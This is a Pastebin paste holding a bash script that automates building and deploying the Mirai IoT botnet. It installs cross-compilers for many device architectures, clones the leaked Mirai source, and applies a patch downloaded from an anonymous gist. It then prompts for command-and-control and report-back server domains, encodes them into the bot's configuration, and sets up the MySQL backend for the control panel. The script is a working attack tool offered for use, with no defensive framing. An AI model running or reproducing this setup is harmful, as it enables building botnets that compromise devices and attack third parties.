Advertisement
Guest User

Untitled

a guest
Mar 8th, 2018
73
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 4.81 KB | None | 0 0
  1. #!/bin/bash
  2. apt -y install git
  3. export PATH=$PATH:/usr/lib/go-1.9/bin
  4. add-apt-repository -y ppa:gophers/archive
  5. apt-get update
  6. apt-get install -y golang-1.9-go
  7. rm -Rf /tmp/instaMira
  8. mkdir /tmp/instaMira
  9.  
  10. #rm -Rf /etc/xcompile
  11. mkdir /etc/xcompile
  12.  cd /etc/xcompile
  13.  
  14.  wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2
  15.  wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv5l.tar.bz2
  16.  wget http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2
  17.  wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2
  18.  wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i686.tar.bz2
  19.  wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2
  20.  wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2
  21.  wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2
  22.  wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2
  23.  wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2
  24.  wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2
  25.  wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-x86_64.tar.bz2
  26.  
  27.  tar -jxf cross-compiler-armv4l.tar.bz2
  28.  tar -jxf cross-compiler-armv5l.tar.bz2
  29.  tar -jxf cross-compiler-armv6l.tar.bz2
  30.  tar -jxf cross-compiler-i586.tar.bz2
  31.  tar -jxf cross-compiler-i686.tar.bz2
  32.  tar -jxf cross-compiler-m68k.tar.bz2
  33.  tar -jxf cross-compiler-mips.tar.bz2
  34.  tar -jxf cross-compiler-mipsel.tar.bz2
  35.  tar -jxf cross-compiler-powerpc.tar.bz2
  36.  tar -jxf cross-compiler-sh4.tar.bz2
  37.  tar -jxf cross-compiler-sparc.tar.bz2
  38.  tar -jxf cross-compiler-x86_64.tar.bz2
  39.  
  40.  
  41.  rm *.tar.bz2
  42.  mv cross-compiler-armv4l armv4l
  43.  mv cross-compiler-armv5l armv5l
  44.  mv cross-compiler-armv6l armv6l
  45.  mv cross-compiler-i586 i586
  46.  mv cross-compiler-i686 i686
  47.  mv cross-compiler-m68k m68k
  48.  mv cross-compiler-mips mips
  49.  mv cross-compiler-mipsel mipsel
  50.  mv cross-compiler-powerpc powerpc
  51.  mv cross-compiler-sh4 sh4
  52.  mv cross-compiler-sparc sparc
  53.  mv cross-compiler-x86_64 x86_64
  54.  
  55. export PATH=$PATH:/etc/xcompile/armv4l/bin
  56. export PATH=$PATH:/etc/xcompile/armv5l/bin
  57. export PATH=$PATH:/etc/xcompile/armv6l/cross-compiler-armv6l/bin
  58. export PATH=$PATH:/etc/xcompile/i586/bin
  59. export PATH=$PATH:/etc/xcompile/m68k/bin
  60. export PATH=$PATH:/etc/xcompile/mips/bin
  61. export PATH=$PATH:/etc/xcompile/mipsel/bin
  62. export PATH=$PATH:/etc/xcompile/powerpc/bin
  63. export PATH=$PATH:/etc/xcompile/powerpc-440fp/bin
  64. export PATH=$PATH:/etc/xcompile/sh4/bin
  65. export PATH=$PATH:/etc/xcompile/sparc/bin
  66. export PATH=$PATH:/etc/xcompile/armv6l/bin
  67. export PATH=$PATH:/usr/lib/go-1.9/bin
  68. export GOPATH=$HOME/Documents/go
  69.  
  70. go get github.com/go-sql-driver/mysql
  71. go get github.com/mattn/go-shellwords
  72.  
  73. cd /tmp/instaMira/
  74. git reset --hard
  75. git clone https://github.com/jgamblin/Mirai-Source-Code .
  76. cd mirai
  77. source build.sh debug telnet
  78. git reset --hard
  79. wget  https://gist.githubusercontent.com/anonymous/bbc3b1389181e1dd935fa1e4919e225b/raw/677ac392ac1ee363de4b13c2163c4c33db61a1d6/patch.p
  80. echo ''>>patch.p
  81. git apply patch.p
  82. echo "Please input CNC server domain: "
  83. read cncName
  84. echo "Please input reportBackServerDoamin"
  85. read reportBackServerDoamin
  86. reportBytes=$(debug/enc string $reportBackServerDoamin | sed -n 1p | grep -oe "[0-9]" | sed ':a;N;$!ba;s/\n//g')
  87. reportXored=$(debug/enc string $reportBackServerDoamin | sed -n 2p)
  88. cncBytes=$(debug/enc string $cncName | sed -n 1p | grep -oe "[0-9]" | sed ':a;N;$!ba;s/\n//g')
  89. cncXored=$(debug/enc string $cncName | sed -n 2p)
  90. rm -Rf bot/scriptConf.h
  91. echo -n "#define ENCODED_CNC \""  >> bot/scriptConf.h
  92. echo -n    $cncXored           >> bot/scriptConf.h
  93. echo     '"'           >> bot/scriptConf.h
  94. echo -n "#define CNC_LENGHT "  >> bot/scriptConf.h
  95. echo  $cncBytes             >> bot/scriptConf.h
  96. echo -n "#define ENCODED_REPORT \""  >> bot/scriptConf.h
  97. echo -n  $reportXored             >> bot/scriptConf.h
  98. echo     "\""          >> bot/scriptConf.h
  99. echo -n "#define REPORT_LENGHT "  >> bot/scriptConf.h
  100. echo   $reportBytes             >> bot/scriptConf.h
  101. echo ''>> bot/scriptConf.h
  102. echo -n "Please give me the MySQL password you desired: "
  103. read mysqlPassword
  104. echo -n "Please give me the login name you desired: "
  105. read loginName
  106. echo -n "Please give me the login password you desired"
  107. read loginPass
  108. sed -i "s/password/$mysqlPassword/g" cnc/main.go
  109. export DEBIAN_FRONTEND=noninteractive
  110.  
  111. apt-get -q -y install mysql-server
  112. service mysql start
  113. mysql -e "UPDATE mysql.user SET Password = PASSWORD('$mysqlPassword') WHERE User = 'root'"
  114. mysql -e "DROP USER ''@'localhost'"
  115. mysql -e "DROP USER ''@'$(hostname)'"
  116. mysql -e "DROP DATABASE test"
  117. mysql -e "FLUSH PRIVILEGES"
  118. cd ..
  119. cat scripts/db.sql | mysql -p$mysqlPassword
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement